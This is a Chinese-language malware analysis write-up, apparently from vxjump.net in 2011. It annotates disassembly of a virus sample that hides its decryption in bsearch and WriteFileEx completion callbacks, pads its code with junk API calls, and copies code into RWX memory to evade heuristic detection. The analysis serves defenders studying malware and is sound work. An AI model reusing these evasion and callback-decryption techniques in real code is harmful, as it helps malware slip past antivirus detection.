_ _ (_) | | __ ____ __ _ _ _ _ __ ___ _ __ _ __ ___ | |_ \ \ / /\ \/ /| || | | || '_ ` _ \ | '_ \ | '_ \ / _ \| __| \ V / > < | || |_| || | | | | || |_) |_ | | | || __/| |_ \_/ /_/\_\| | \__,_||_| |_| |_|| .__/(_)|_| |_| \___| \__| _/ | | | |__/ |_| /---------------------------------------------------------------------------------------\ |>...................[ 病毒利用回调函数的一种解密方式 ].....................<| |>......................[ by nEINEI/vxjump.net ]......................<| |>......................[ 2011-05-23 ]......................<| \>...................... [ neineit_at_gmail.com ] .........。.........../$ 8BFF mov edi,edi ; ntdll.7C930738 00417D58 |. 55 push ebp 00417D59 |. 8BEC mov ebp,esp 00417D5B |. 83EC 18 sub esp,0x18 00417D5E |. 3BD6 cmp edx,esi 00417D60 |. 7A 0B jpe X2.00417D6D 00417D62 |. 66:8B5D FC mov bx,word ptr ss:[ebp-0x4] 00417D66 |. C745 F8 60617>mov [local.2],0x716160 00417D6D |> 1955 F8 sbb [local.2],edx 00417D70 |. 2B4D F8 sub ecx,[local.2] 00417D73 |. E8 A8040000 call ; [GetOEMCP // GetOEMCP 这个不需要参数,eax接收OEM code page 值 // 但紧接着调用下面的函数 00417D78 |. 8A0D 00904100 mov cl,byte ptr ds:[0x419000] 00417D7E |. 68 44104000 push 2.00401044 ; /RsrcName = "Jlpc, Vas. Kkif" 00417D83 |. FF35 04904100 push dword ptr ds:[0x419004] ; |hInst = NULL 00417D89 |. E8 C2040000 call ; \LoadIconA // 此时eax值被冲掉了,我们知道上门GetOEMCP是个无效的调用,启发式检测刚好可以处理这样的情况 00417D8E |. 8355 F8 01 adc [local.2],0x1 00417D92 |. 68 54104000 push 2.00401054 ; /RsrcName = "Irkhf, Vsgry Heqs I" 00417D97 |. FF35 08904100 push dword ptr ds:[0x419008] ; |hInst = NULL 00417D9D |. E8 B4040000 call ; \LoadCursorA 00417DA2 |. 8005 01904100>add byte ptr ds:[0x419001],0xFF 00417DA9 |. 8B35 0C904100 mov esi,dword ptr ds:[0x41900C] 00417DAF |. 68 35000000 push 0x35 ; /Index = SM_CYSMSIZE 00417DB4 |. E8 A3040000 call ; \GetSystemMetrics // 上面的调用并无关联关系. // 用到的字符串参数在全局的一个字符指针数组中 00401044 . 4A 6C 70 63 2>ascii "Jlpc, Vas. Kkif",0 00401054 . 49 72 6B 68 6>ascii "Irkhf, Vsgry Heq" 00401064 . 73 20 49 00 ascii "s I",0 00401068 . 51 66 69 67 6>ascii "Qfiglei, Jigynue" ... 混在这片API中值得注意的是 00417E65 |. 68 A57E4100 push 2.00417EA5 00417E6A |. 6A 01 push 0x1 00417E6C |. 6A 01 push 0x1 00417E6E |. 6A 30 push 0x30 00417E70 |. 68 90104000 push 2.00401090 00417E75 |. E8 F4030000 call // bsearch 定义 void *bsearch( const void *key, const void *base, size_t num, size_t width, int ( __cdecl *compare ) ( const void *, const void *) ); 在这个调用中,key参数是有效的 key---| \|/ 00401090 . 45 68 74 65 7>ascii "Ehtexjw Ouanc Ye" 004010A0 . 67 70 00 ascii "gp",0 base -- 0x30 num -- 1 width -- 1 compare -- > 指向了病毒自己的代码。 这样在回调中,病毒继续执行,在主线程的函数中病毒代码已经基本结束,后面是无用的调用。 关于bsearch函数简单说明一下,之前我并不了解这个函数。其功能是在base这个字符串数组中,按照 回调函数compare的方式(比如是否大小写敏感...)查找是否存在key字符串。 当然我们更关心的是compare一定会被调用,如果compare本身能否被调用也是可控制的话,那将为病毒 分析带来麻烦。为了防止多次调用compare,num参数设置成1,这样走bsearch后面比较流程,仅执行一次compare即可。 回调中继续加入混乱的API调用,类似的不分析了 00417EA5 8BFF mov edi,edi 00417EA7 . 55 push ebp 00417EA8 . 8BEC mov ebp,esp 00417EAA . 83EC 48 sub esp,0x48 00417EAD . 68 15000000 push 0x15 ; /Index = SM_CXHSCROLL 00417EB2 . E8 A5030000 call ; \GetSystemMetrics 00417EB7 . 0FB6CE movzx ecx,dh 00417EBA . 895D FC mov dword ptr ss:[ebp-0x4],ebx 00417EBD . E8 64030000 call ; [GetACP 00417EC2 . C745 FC 40FAA>mov dword ptr ss:[ebp-0x4],0xABFA40 00417EC9 . 0B5D FC or ebx,dword ptr ss:[ebp-0x4] 00417ECC . 3B05 04904100 cmp eax,dword ptr ds:[0x419004] 00417ED2 . 74 0C je X2.00417EE0 00417ED4 . 8D45 EC lea eax,dword ptr ss:[ebp-0x14] 00417ED7 . 50 push eax ; /pSystemTime 00417ED8 . E8 4F030000 call ; \GetSystemTime 00417EDD . 8A7D E8 mov bh,byte ptr ss:[ebp-0x18] 00417EE0 > 68 40FC4000 push 2.0040FC40 ; /RsrcName = "Kdeqagkp Tq, Oorj" 00417EE5 . FF35 F8754200 push dword ptr ds:[0x4275F8] ; |hInst = NULL 00417EEB . E8 60030000 call ; \LoadIconA 00417EF0 . 8B45 FC mov eax,dword ptr ss:[ebp-0x4] 00417EF3 . 8B1D 18904100 mov ebx,dword ptr ds:[0x419018] 00417EF9 . 815D FC 0C232>sbb dword ptr ss:[ebp-0x4],0x27230C 00417F00 . 68 5C000000 push 0x5C ; /Index = 92. 00417F05 . E8 52030000 call ; \GetSystemMetrics 00417F0A . D1DB rcr ebx,1 // 注意的是分配内存这里,这里将会被copy进去下一步解密的代码 00417FC1 . 6A 40 push 0x40 ; /Protect = PAGE_EXECUTE_READWRITE 00417FC3 . 191D 0C904100 sbb dword ptr ds:[0x41900C],ebx ; | 00417FC9 . 097D FC or dword ptr ss:[ebp-0x4],edi ; | 00417FCC . 233D 10764200 and edi,dword ptr ds:[0x427610] ; | 00417FD2 . C645 E8 FF mov byte ptr ss:[ebp-0x18],0xFF ; | 00417FD6 . 68 00300000 push 0x3000 ; |AllocationType = MEM_COMMIT|MEM_RESERVE 00417FDB . 66:F7D0 not ax ; | 00417FDE . 2B45 FC sub eax,dword ptr ss:[ebp-0x4] ; | 00417FE1 . 68 7B120000 push 0x127B ; |Size = 127B (4731.) 00417FE6 . 8355 FC 01 adc dword ptr ss:[ebp-0x4],0x1 ; | 00417FEA . 0FBEC7 movsx eax,bh ; | 00417FED . 6A 00 push 0x0 ; |Address = NULL 00417FEF . 8A6D E8 mov ch,byte ptr ss:[ebp-0x18] ; | 00417FF2 . 0FCF bswap edi ; | 00417FF4 . E8 3F020000 call ; \VirtualAlloc // 对比一下这样的情况 0417FC1 . 6A 40 push 0x40 ; /Protect = PAGE_EXECUTE_READWRITE 00417FC3 90 nop ; | 00417FC4 90 nop 00417FC5 90 nop 00417FC6 90 nop 00417FC7 90 nop 00417FC8 90 nop 00417FC9 90 nop ; | 00417FCA 90 nop 00417FCB 90 nop 00417FCC 90 nop ; | 00417FCD 90 nop 00417FCE 90 nop 00417FCF 90 nop 00417FD0 90 nop 00417FD1 90 nop 00417FD2 90 nop ; | 00417FD3 90 nop 00417FD4 90 nop 00417FD5 90 nop 00417FD6 . 68 00300000 push 0x3000 ; |AllocationType = MEM_COMMIT|MEM_RESERVE 00417FDB 90 nop ; | 00417FDC 90 nop 00417FDD 90 nop 00417FDE 90 nop ; | 00417FDF 90 nop 00417FE0 90 nop 00417FE1 . 68 7B120000 push 0x127B ; |Size = 127B (4731.) 00417FE6 90 nop ; | 00417FE7 90 nop 00417FE8 90 nop 00417FE9 90 nop 00417FEA 90 nop ; | 00417FEB 90 nop 00417FEC 90 nop 00417FED . 6A 00 push 0x0 ; |Address = NULL 00417FEF 90 nop ; | 00417FF0 90 nop 00417FF1 90 nop 00417FF2 90 nop ; | 00417FF3 90 nop 00417FF4 . E8 3F020000 call ; \VirtualAlloc 效果是完全相同的,为何这样? 你懂的:) 分配的内存地址在我这里是0x3d0000 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 继续,混杂在无效的调用中,准备二次利用回调解密 00418169 . 80C5 01 add ch,0x1 0041816C > 33F7 xor esi,edi 0041816E . BE 78CD4200 mov esi,2.0042CD78 -----******--------- 源地址代码,size = 0x5AE 00418173 . C605 38764200>mov byte ptr ds:[0x427638],0x20 0041817A . 66:83F8 53 cmp ax,0x53 0041817E . 75 0B jnz X2.0041818B 00418180 . 891D 00764200 mov dword ptr ds:[0x427600],ebx 00418186 . E8 95000000 call 0041818B > B9 AE050000 mov ecx,0x5AE 00418190 . A9 53A6628D test eax,0x8D62A653 00418195 . 74 02 je X2.00418199 00418197 . F7D0 not eax 00418199 > 8B55 CC mov edx,dword ptr ss:[ebp-0x34] 0041819C . 66:F3:A5 rep movs word ptr es:[edi],word ptr ds:[esi] -----******---------copy到分配的地方0x3d0000 // 创建一个文件 004181B8 6A 00 push 0x0 004181BA 68 00010004 push 0x4000100 // FILE_ATTRIBUTE_TEMPORARY|FILE_FLAG_DELETE_ON_CLOSE 004181BF 6A 02 push 0x2 004181C1 6A 00 push 0x0 004181C3 6A 00 push 0x0 004181C5 68 000000C0 push 0xC0000000 004181CA 68 C0FC4000 push 2.0040FCC0 004181CF E8 6A000000 call // FILE_ATTRIBUTE_TEMPORARY|FILE_FLAG_DELETE_ON_CLOSE 属性在关闭文件后,文件自动删除。因为病毒并不像产生 一个真正的实体文件,仅仅为了继续利用回调做解密的操作。 // 继续 004181DD 68 DEC0DEC0 push 0xC0DEC0DE 004181E2 68 DEC0DEC0 push 0xC0DEC0DE 004181E7 FF75 D8 push dword ptr ss:[ebp-0x28] // 0x3d0000,这里已经有代码了。 004181EA 68 4C764200 push 2.0042764C 004181EF 6A 01 push 0x1 004181F1 8D45 B8 lea eax,dword ptr ss:[ebp-0x48] 004181F4 50 push eax 004181F5 FF75 E0 push dword ptr ss:[ebp-0x20] 004181F8 E8 47000000 call BOOL WINAPI WriteFileEx( __in HANDLE hFile, __in LPCVOID lpBuffer, __in DWORD nNumberOfBytesToWrite, __in LPOVERLAPPED lpOverlapped, __in LPOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine // 利用文件的异步写回调来解密 ); 004181FD 6A 01 push 0x1 004181FF 6A FF push -0x1 00418201 E8 44000000 call // 等待事件的发生 //SleepEx会调用ZwDelayExecution来执行0x3d0000代码。 至此病毒的解密的执行完毕,在0x3d0000进行导入函数获得,重新映射基址,解密新的功能代码,跳向新入口。 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 感谢frank提供样本:)